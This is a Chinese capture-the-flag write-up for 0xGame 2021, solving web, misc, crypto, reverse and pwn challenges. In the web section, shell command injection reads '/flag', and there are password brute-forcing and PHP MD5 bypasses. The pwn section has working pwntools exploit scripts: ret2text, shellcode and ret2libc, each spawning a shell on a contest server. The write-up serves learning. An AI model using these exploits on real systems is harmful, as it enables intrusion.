Web
1. Robots
Robots
协议了解一下,robots.txt
会被放在网站根目录下,告诉爬虫哪些不能爬,哪些能爬。
直接访问.../robots.txt
得到提示4ll.html
,之后直接访问…/4ll.html
,F12
查看网页源代码,即可得到flag
.
0xGame{Rob0t_le4ks_seCr3t}
2. 爱ping才会赢
首先发现带有Ping
字样的按钮是不可点击的,F12
后将对应处的disabled="disabled"
删除即可点中。
PHP
中实现Ping
的功能一般是通过类似于exec
system
的函数调用外部命令,在linux
中;
||
&&
等连接符可连接两个独立语句并执行。
输入;ls /
可查看根目录下的文件(相当于执行了Ping;ls /
),找到flag
后直接输入;cat /flag
即可。
0xGame{L1nux_cmd_1s_3a5y_t0_you!!!}
3. 你看你能登录吗?
先进行目录扫描(可用的工具很多),得到.../admin/
进入后台,根据提示密码是个4位纯数字,也就是说0233
也是合法的,之后直接爆破就好了(可用Burp Suite
或自己写Python
脚本,比较简单),账号根据常识,肯定是admin
,密码通过爆破得到,为0310
,进入后台即可拿到flag
.
0xGame{y0u_brut3_f0rc3_successfully}
4. 看看我的头
题目的名字中就带有提示,这里的“头”是指“请求头或响应头”,可以拿Burp Suite
抓包查看,或者直接在F12
后在Network
中也可以看见。
点开题目后提示“打开方式不对”,这里的方式是指“请求方式”,我们抓包后发现此题是GET
方式,我们改成POST
方式再放包即可发现页面有了变化,提示需要用“N1k0la
浏览器”访问,所以,我们修改请求头中User-Agent
的内容为N1k0la
,即可发现页面又有了变化,提示“必须从本地来”,因此在请求头中添加X-Forwarded-For
内容为本地IP
地址127.0.0.1
即可。
之后,得到一串编码后的字符:
JGE9JF9HRVRbJzB4R2FtZTIwMjEnXTskYj0kX1BPU1RbJ1gxY1QzNG0nXTskZD0kX1BPU1RbJ1B1cGkxJ107JGM9J3dlbGNvbWUgdG8gdGhlIDB4R2FtZTIwMjEnO2lmKG1kNSgkYik9PW1kNSgkZCkmJiRhPT09JGMpe2VjaG8gJGZsYWc7fQ==
显然是通过了Base64
编码,解码后,得到:
$a=$_GET['0xGame2021'];$b=$_POST['X1cT34m'];$d=$_POST['Pupi1'];$c='welcome to the 0xGame2021';if(md5($b)==md5($d)&&$a===$c){echo $flag;}
可以看到这个就是此题的PHP
源代码,是个“弱类型”判断(MD5
碰撞)。
其中,md5()
返回32位字符串,若均为0e开头可被认为是科学计数法表示的数字0.
因此可提交:
?0xGame2021=welcome to the 0xGame2021 //GET
X1cT34m=aabg7XSs&Pupi1=aabC9RqS //POST
aabg7XSs => md5: '0e087386482136013740957780965295'
aabC9RqS => md5: '0e041022518165728065344349536299'
当然,md5()
也可以用数组绕过:当md5函数的参数为一个数组时,会报错并返回NULL值。
因此还可以提交:
?0xGame2021=welcome to the 0xGame2021 //GET
X1cT34m[]=2333&Pupi1[]=2333 //POST
注意:用BurpSuite
进行POST
在最后要保留两行“空行”。
最终,得到flag
:
0xGame{http_pr0t0c0l_1s_int3r3sting:-)}
Misc
1. Sign in
0xGame{Welc0m_to_0xGame2021}
2. A translate draft
附件是一个加密了的zip
,这是zip
伪加密,使用010
十六进制编辑器打开,将80F0h
行的09
改为00
即可解密。
压缩包内的word
中有文字被隐写了,将文字全选,改为黑体字,即可看到被隐写的内容:GB4EOYLNMV5W4MLDMVPXK===
,使用Base32
解密得到flag
的前半段:0xGame{n1ce_u
。
打开压缩包,选中word
,右击 => 查看文件,可看到该word
也是一个压缩文件,其中word
文件夹内有HiddenBy13.txt
,其中内容是_s0haq_zr}
,但这并不是最终的flag
,根据文件名的提示,我们用Rot13
或凯撒密码位移13
,即可得到另一半:_f0und_me}
。
0xGame{n1ce_u_f0und_me}
3. Kakurennbo
使用vim
打开,有蓝色的零宽度字符,零宽度字符隐写,将文本文档内的内容解码,得到被隐藏的内容:0xGame{k}kT_hnG0it4_7rs4_i7nubB0_w
,使用栅栏W型密码解密,栏数21
,解密后,得到flag
:0xGame{kk_n0t_r4inb0w_Bu7_s74iGhT}
.
4. 认真的血
先使用 WinRAR
解压(其他压缩软件,如Bandizip
好像不行),使用lads.exe
检测到有NTFS
数据流在音频文件中,在命令行中执行notepad 认真的雪.m4a:flag.txt
即可提取到内容(或者直接用NTFS Streams Editor
提取):
He comes and leaves with no survival. HIS CODENAME: 47
_Iv2>6L}%u$0qcD:40Df68N
根据提示,使用Rot47
解码,得到flag
:0xGame{NTFS_B4sic_s7eg}
5. ezAlgorithm
一个基础得不能再基础的算法题,考虑动态规划。
状态转移方程:dp[i] = dp[i-1] + dp[i-2] + dp[i-3]
参考代码:
#include<bits/stdc++.h>
using namespace std;
int n,m,k;
const int mod=1435756429;
set<int> bad;
long long dp[4000005];
int main()
{
scanf("%d%d",&n,&m);
for(int i=1;i<=m;i++)
{
scanf("%d",&k);
bad.insert(k);
}
for(int i=1;i<=n;i++)
{
if(bad.find(i)!=bad.end())continue;
if(i==1){dp[i]=1;continue;}
else if(i==2){dp[i]=dp[i-1]+1;continue;}
else if(i==3){dp[i]=dp[i-1]+dp[i-2]+1;continue;}
dp[i]=((dp[i-1]+dp[i-2])%mod+dp[i-3])%mod;
}
printf("%lld\n",dp[n]);
return 0;
}
得到flag
:0xGame{651977145}
Crypto
1. Crypto Sign in
0xGame{Welcom_to_Cryptogrphy_World_!}
2. CuteCaesar
先进行兽语解码,得到:0aJdph{fdhvdu_1v_q0w_fxwh}
,使用凯撒密码解密,得到flag
:0xGame{caesar_1s_n0t_cute}
.
3. manycode
看到颜文字,首先AAencode
解码,得:
4A5645475153435A4B345957595A4A524B4A3347454D4A5A4F5249554F4E4A564C415A453235323249524844533D3D3D
观察到,最大的也就F
,因此想到Base16
解码,得:
JVEGQSCZK4YWYZJRKJ3GEMJZORIUONJVLAZE2522IRHDS===
观察到,最末尾有三个等号(占位符),因此想到Base32
解码,得:
MHhHYW1le1Rvb19tQG55X2MwZDN9
最后,再Base64
解码,得到flag
:
0xGame{Too_m@ny_c0d3}
4. MyFunction
本质就是个解方程的问题:已知xlnx
,求x
。
我很暴力,直接先打表,把x
为65~122
再加上左右小括号的ASCII码40
41
(这些常用字符ASCII码)的时候,xlnx
的值打出来,再写个程序到output.txt
里查值对比即可。
(更加暴力的)参考脚本:
from math import log
def get_ans(num):
for x in range(1, 200):
if x * log(x) == num:
print(chr(x), end='')
f = open('./output.txt')
ans = f.readlines()
for i in range(len(ans)):
ans[i] = float(ans[i].replace('\n', ''))
get_ans(ans[i])
0xGame{YouH4veKn0wedPy7honL081s<y=ln(x)>InM47hs}
5. Class8
第一行,从左至右,依次为:盲文,跳舞的小人,猪圈密码,手机九宫格按键加密,摩斯电码
解密的结果是:CLASS
第二行,从左至右,依次为:盲文,跳舞的小人,银河密码,摩斯电码,培根密码
解密的结果是:LNRDD
第三行,从左至右,依次为:手机九宫格按键加密,银河密码,键盘图形码,摩斯电码,培根密码
解密的结果是:LDVTN
最后一行是手机九宫格按键加密,解密为B
合起来,flag
为0xGame{CLASSLNRDDLDVTNB}
.
6. ABC Of RSA
一个基础RSA加密算法:已知p,q,e
,求d
.
0xGame{39982249}
7. ezVigenère
维吉尼亚密码无密钥破解,可以写个程序爆破密钥,最终得到密钥为:abc
.
0xGame{interest1ng_Vigenere}
8. BlackGiveRSA
求出d = 1540111621310965943
有性质:m = (c ^ d) % n
,其中m
是明文,c
是密文。
由给出的密文,求出对应的明文(大数据,防止溢出,要用高精度,可以用Python
的gmpy2
扩展库或者Java
的BigInteger
或者上大数计算的网站算),再反过来写个脚本:
from Crypto.Util.number import *
print(long_to_bytes(13643046854681979),end="")
print(long_to_bytes(18973676576264805),end="")
print(long_to_bytes(31037449384842088),end="")
print(long_to_bytes(29636688785989998),end="")
print(long_to_bytes(29073739401619561),end="")
print(long_to_bytes(22874675212740989),end="")
0xGame{ChuTiRenDeQQShiJiShangJiuShiQDeZhi}
Reverse
1. Signin: User Friendly
甚至不用IDA
,直接拿Notepad
之类的打开,查找即可。
0xGame{we1c0me_2_Rever5e_egin44ring}
2. Packet
先查壳,发现有upx壳,再脱壳即可(我是用upx.exe
,命令执行.\upx.exe -d 文件路径
)
(a&~b)|(b&~a)
等价于a ^ b
,位运算异或有自反性,即A ^ B ^ B = A ^ ( B ^ B ) = A ^ 0 = A
根据此性质,可写出如下代码:
enc = [0x91, 0x77, 0x0FB, 0x0E, 0x0B7, 0x0CC, 0x0E4, 0x38, 0x11, 0x94, 0x0FD, 0x85, 0x5C, 0x91, 0x84, 0x5C, 0x7D, 0x67, 0x27, 0x134, 0x135, 0x0A, 0x0D8, 0x23, 0x0D, 0x30, 0x65, 0x3E, 0x13, 0x45, 0x54, 0x52, 0x51, 0x3E, 0x0B0, 0x0D9, 0x13, 0x33, 0x0C3, 0x0FF]
check = [0x0A1, 0x0F, 0x0BC, 0x6F, 0x0DA, 0x0A9, 0x9F, 0x5E, 0x29, 0x0F6, 0x0C5, 0x0E4, 0x6E, 0x0F2, 0x0B1, 0x38, 0x1B, 1 , 0x11, 0x100 , 0x100 , 0x32, 0x0E9, 0x41, 0x68, 2, 4, 6, 0x2A, 0x70, 0x37, 0x6B, 0x30, 0x5D, 0x82, 0x0E8, 0x25, 0x57, 0x0F2, 0x82]
for i in range(40):
print(chr(enc[i]^check[i]), end="")
0xGame{f8b8a2c5dff64581be2a895c9ac216d1}
3. Our Compilation Story
根据异或的自反性,写出如下代码:
k = [21,44,45,104,31,30,26,121,65,125,23,112,77,46,47,126,89,112,7,109,7,88,10,105,104,59,54,91,83,98,32,54,15,65,113,119,113]
k = k[::-1]
for i in range(3,37):
print(chr(k[i]^k[i-3]),end="")
0xGame{Th3_10ng_w4y_w3_901ng_fr33}
4. Random Chaos
伪随机数,即如果系统提供的随机种子没有变化,每次调用rand
函数生成的伪随机数序列都是一样的。
通常可以利用系统时间来改变系统的种子值,即srand(time(NULL))
,可以为rand
函数提供不同的种子值,进而产生不同的随机数序列。
再结合异或的自反性,写出如下代码:
#include<bits/stdc++.h>
using namespace std;
int a[45]={0x22, 0x0CA, 7, 0x19, 0x0F8, 0x0FB, 0x28, 0x9D, 0x1E, 0x80, 0x0AC, 0x0C9, 0x60, 0x46, 0x18, 0x21, 0x0DF, 0x95, 0x0D5, 0x70, 0x0C5, 0x19, 0x0EA, 0x0B0, 0x9C, 0x83, 0x11, 0x4A, 0x93, 0x0C7, 0x91, 0x0F6, 0x14, 0x71, 0x2F, 0x22, 0x14, 0x0BF, 0x58, 0x76, 0};
int main()
{
srand(0x2021u);
for(int i=0;i<=39;i++)
{
cout<<(char)((unsigned __int8)rand()^a[i]);
}
return 0;
}
0xGame{d6ca93397ecb4d4e83792a7100737932}
5. Neverland
导致Neverland
的原因有两点,第一是因为原程序中重复递归调用了之前调用过的函数,浪费了大量的时间,因此,我们可以采取”记忆化“的思路,将其结果保存下来,方便之后直接读取,二是因为idx
里的数太大了,我们通过找规律可知:在一定数量之后,idx
中值的奇偶性直接影响结果,使其循环出现(其实是unsigned int
反复溢出造成的现象)。
参考代码:
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
unsigned int idx[45]={9, 0x0F, 0x0C, 3, 2, 0x10, 0x0B, 0x0E, 7, 0x0A, 0x2E, 0x2D, 0x2B, 0x2E, 0x2F, 0x2D, 0x2F, 0x28, 0x31, 0x3A, 0x31, 0x33, 0x33, 0x2B, 0x32, 0x37, 0x37, 0x38, 0x3C, 0x30, 0x0FFFFFFCE, 0xFFFFFF93, 0x0FFFFFFD8, 0x0FFFFFFF2, 0x0FFFFFFDF, 0x0FFFFFF70, 0x0FFFFFF72, 0x0FFFFFFD0, 0x0FFFFFFA6, 0x0FFFFFF9A};
unsigned int enc[45]={0x0BFFCC, 0x0BFFFFF84, 0x3000043, 0x0DD, 0x59, 0x61, 0x0BFFF87, 0x30000035, 0x0BF99, 0x300032, 0x36, 0x0FFFFFFC9, 0x0FFFFFF98, 0x30, 0x0FFFFFF9F, 0x0FFFFFFCC, 0x0FFFFFFC8, 0x62, 0x0FFFFFF99, 0x30, 0x0FFFFFFC8, 0x0FFFFFF9A, 0x0FFFFFFC5, 0x0FFFFFF9E, 0x32, 0x0FFFFFFC4, 0x0FFFFFFC8, 0x60, 0x3D, 0x35, 0x3D, 0x0FFFFFFCB, 0x34, 0x3C, 0x0FFFFFF9F, 0x65, 0x65, 0x33, 0x66, 0x79};
unsigned int num[60];
int main()
{
char v0;
num[0]=7;num[1]=8;
for(int i=2;i<=60;i++)num[i]=3*num[i-1]+4*num[i-2]; //记忆化
for(int i = 0; i <= 39; ++i)
{
if(idx[i]>60){if(idx[i]%2)v0=4294967292; else v0=4;}
else v0=num[idx[i]]; //奇偶性
putchar((char)(v0 ^ LOBYTE(enc[i])));
}
return 0;
}
0xGame{1e625d4c04fe44f9b684d919708caa7b}
6. Roundabout
根据异或的自反性,写出如下代码:
#include<bits/stdc++.h>
using namespace std;
char b[20] = {0x74,'h','i','s','_','i','s','_','n','o','t','_','f','l','a','g'};
int v[45] = {0x44, 0x10, 0x2E, 0x12, 0x32, 0x0C, 8, 0x3D, 0x56, 0x0A, 0x10, 0x67,0, 0x41, 0, 1, 0x46, 0x5A, 0x44, 0x42, 0x6E, 0x0C, 0x44, 0x72, 0x0C, 0x0D, 0x40, 0x3E, 0x4B, 0x5F, 2, 1, 0x4C, 0x5E, 0x5B, 0x17, 0x6E, 0x0C, 0x16, 0x68, 0x5B, 0x12};
int main()
{
for(int i=0;i<42;i++)cout<<(char)(v[i] ^ b[i%16]);
return 0;
}
0xGame{b8ed8f-af22-11e7-bb4a-3cf862d1ee75}
7. Zero Three
使用python
的Z3
扩展库解方程,参考代码如下:
HINT:
程序计算flag
会用到两部分计算:前面一部分会用到前半段flag
,后面一部分计算会用到整段flag
,如果你的z3
约束求解迟迟未出结果,或许你可以尝试只约束后半部分计算,依然能得到正确的flag
.
from z3 import *
x = Solver()
p0,p1,p2,p3,p4,p5,p6,p7,p8,p9,p10,p11,p12,p13,p14,p15 = Ints('p0 p1 p2 p3 p4 p5 p6 p7 p8 p9 p10 p11 p12 p13 p14 p15')
num0,num1,num2,num3,num4,num5,num6,num7 = Ints('num0 num1 num2 num3 num4 num5 num6 num7')
x.add(num0 == p0 + p1*256 + p2*256*256 + p3*256*256*256)
x.add(num1 == p4 + p5*256 + p6*256*256 + p7*256*256*256)
x.add(num2 == p8 + p9*256 + p10*256*256 + p11*256*256*256)
x.add(num3 == p12 + p13*256 + p14*256*256 + p15*256*256*256)
x.add(2 * p5 + 8225 - p0 - 9 * p3 - p4 - p9 + p10 - 6 * p11 - p13 - 3 * p14 - 5 * p15 == 5643)
x.add(3 * p14 + 8 * p10 - 3 * p2 - 6 * p0 + 8225 - p1 - 2 * p5 + 3 * p8 - 8 * p11 + 4 * p12 - 6 * p15 == 6620)
x.add((-5) * p12 - 7 * p6 - 3 * p1 + 8225 - 2 * p0 - p2 - 5 * p3 - 7 * p4 - 6 * p5 - 2 * p8 + 6 * p13 == 5538)
x.add(2 * p5 + 2 * p1 + 8225 - 2 * p0 - 2 * p3 + 3 * p4 - 2 * p8 - p10 - p12 - 2 * p14 - 2 * p15 == 7693)
x.add((-6) * p14 + 8225 - 2 * p1 - 2 * p2 - 9 * p3 + 2 * p4 - 5 * p7 + 2 * p8 - 9 * p9 - 4 * p10 - 6 * p15 == 4735)
x.add(9 * p14 - 7 * p10 + 8 * p9 + 5 * p0 + 8225 - p2 + p5 - 5 * p6 - 8 * p11 - p12 - 9 * p15 == 7060)
x.add(p13 - 5 * p7 - 3 * p2 - 3 * p0 + 8225 - 4 * p1 - 4 * p4 - p6 + 9 * p10 - 2 * p14 - 6 * p15 == 5864)
x.add((-9) * p14 - 3 * p10 + 9 * p1 - 6 * p0 + 8225 - 5 * p3 - 4 * p7 - 2 * p11 - 2 * p12 + p13 + 9 * p15 == 7393)
x.add(6 * p9 - 5 * p8 - 3 * p6 + 9 * p2 + 8225 - p4 + 3 * p5 - 7 * p7 + 7 * p10 - 2 * p13 - p14 == 8442)
x.add(8 * p6 - 7 * p2 + 8225 - 8 * p1 - p3 + 6 * p4 - p7 + 5 * p8 - 4 * p10 - p14 + 7 * p15 == 8376)
x.add(-22827 * num4 + 21984 * num1 + -38534 * num5 - 32344 * num0 == -98460819657603)
x.add(-38215 * num2 + -37324 * num4 + -8436 * num5 + 15405 * num0 == -131665436206262)
x.add(10926 * num7 + -28942 * num1 + -34572 * num3 - 10538 * num5 == -121891239772992)
x.add(-30117 * num6 + -22990 * num2 + -20471 * num5 + 34494 * num7 == -57089882568260)
x.add(-33112 * num5 + -19335 * num4 + 34348 * num1 + 31445 * num2 == 56335531538050)
x.add(-13566 * num5 + 14758 * num0 + -19814 * num2 - 26447 * num4 == -81105980248303)
x.add(25898 * num5 + -15817 * num1 + 20463 * num7 - 33578 * num0 == -28860618440412)
x.add(-35429 * num7 + 36594 * num2 + -28801 * num6 - 14952 * num3 == -45384029412201)
x.check() #sat
print(x.model())
我将python
中得到的num[]
结果写入了num.txt
当中,再写了个程序转化成flag
(自行意会):
#include<bits/stdc++.h>
using namespace std;
int n,x,y,z;
int main()
{
freopen("num.txt","r",stdin);
while(scanf("%d",&n)!=EOF)
{
z=n/256/256/256;
n-=z*256*256*256;
y=n/256/256;
n-=y*256*256;
x=n/256;
n-=x*256;
cout<<(char)n<<(char)x<<(char)y<<(char)z;
}
return 0;
}
附上num.txt
(num0 ~ num7
) :
1685677173
2017608537
1983267413
1950446449
1933792821
1145785398
1280864594
1465083989
0xGame{udydYCBxUB6vqsAt5VCs6LKDRqXLUhSW}
Pwn
1. Pwn?!
直接nc 121.4.15.155 10000
,连上ls
查看文件,再cat flag
即可拿到flag
.
0xGame{22e92cf4-6c88-4345-aa9e-0dc4111064da}
2. ret2text
先file pwn
,看到这是一个64
位的ELF
文件,再checksec pwn
,发现只开了NX
,即栈不可执行保护,使用IDA
后发现,有system
,也有/bin/sh
这个字符串,那就好办了,典型的ret2text
(具体原理不赘述).
64
位中,system
等函数会先向RDI
等六个寄存器优先”要参数“,若是参数不止六个,再去找压入栈的数据(注意是小端序)。
参考exp.py
:
from pwn import *
io = remote("121.4.15.155", 10003)
pwn = ELF("pwn")
system_addr = pwn.plt['system']
bin_sh_addr = next(pwn.search(b'/bin/sh'))
pop_rdi_addr = 0x401253
payload = b'A'*(0x50 + 8) + p64(pop_rdi_addr + 1) + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
io.sendline(payload)
io.interactive()
0xGame{aaf53894-1058-4579-a389-25541c96ab9b}
3. No BackDoor!
我不是很清楚为啥会和上题一毛一样emmmm
参考exp.py
:
from pwn import *
io = remote("121.4.15.155", 10001)
pwn = ELF("pwn")
system_addr = pwn.plt['system']
bin_sh_addr = next(pwn.search(b'/bin/sh'))
pop_rdi_addr = 0x401223
payload = b'A'*(0x50 + 8) + p64(pop_rdi_addr + 1) + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
io.sendline(payload)
io.interactive()
0xGame{bcdf39ba-a811-4bbb-aefc-aad3c764c963}
4. WTF?Shellcode
checksec pwn
,发现保护全没开,包括NX
(栈不可执行),因此可以执行ShellCode
。
直接看汇编代码吧,看到:
mov rax, [rbp+buf]
add rax, 20h
mov rdx, rax
call rdx
意味着,我们的ShellCode
要放入栈顶以上20h
处的位置,才能成功call
,使之执行。
故,我们需要先填充0x20
个字节的垃圾数据。
参考exp.py
:
from pwn import *
io = remote("121.4.15.155", 10002)
context.arch = 'amd64'
shellcode = b'S'*0x20 + asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()
0xGame{ab52497b-7275-4097-8e8d-e2b420c2013b}
5. ret2libc pro max
没有system
,也没有/bin/sh
,因此考虑ret2libc
,具体原理不再赘述.
在64
位计算机中,一个地址的长度是8
字节,但是实际的操作系统中,一个地址的最高位的两个字节是00
,而且实际的函数地址是0x7fxxxx
开头的,因此为了避免获取错误的地址值,只需要获取低6字节值,然后通过ljust
函数把最高位的两字节填充成00
.
此外,需要注意的是,在64
位中,system
函数调用时需要rsp
是16
字节对齐的(即最后两位为00
),因此需要多写一个ret
使rsp+=8
或者跳过push rbp
使rsp-=8
不会执行,以实现“堆栈平衡”。
最后,最好别用LibcSearcher
,还是在线查一下libc
的库。
参考exp.py
:
from pwn import *
io = remote("121.4.15.155", 10004)
pwn = ELF("pwn")
puts_plt_address = pwn.plt['puts']
puts_got_address = pwn.got['puts']
main_address = pwn.symbols['main']
pop_rdi_address = 0x401223
ret_address = 0x401224
io.recvuntil("funny\n")
payload = b'A'*(0x50 + 8) + p64(pop_rdi_address) + p64(puts_got_address) + p64(puts_plt_address) + p64(main_address)
io.sendline(payload)
puts_address = u64(io.recv(6).ljust(8,b'\x00'))
libcbase = puts_address - 0x06f6a0
system_address = 0x0453a0 + libcbase
binsh_address= 0x18ce17 + libcbase
payload = b'A'*(0x50 + 8) + p64(ret_address) + p64(pop_rdi_address) + p64(binsh_address) + p64(system_address)
io.sendline(payload)
io.interactive()
0xGame{6123733d-ede7-4e42-af50-be23c066a25c}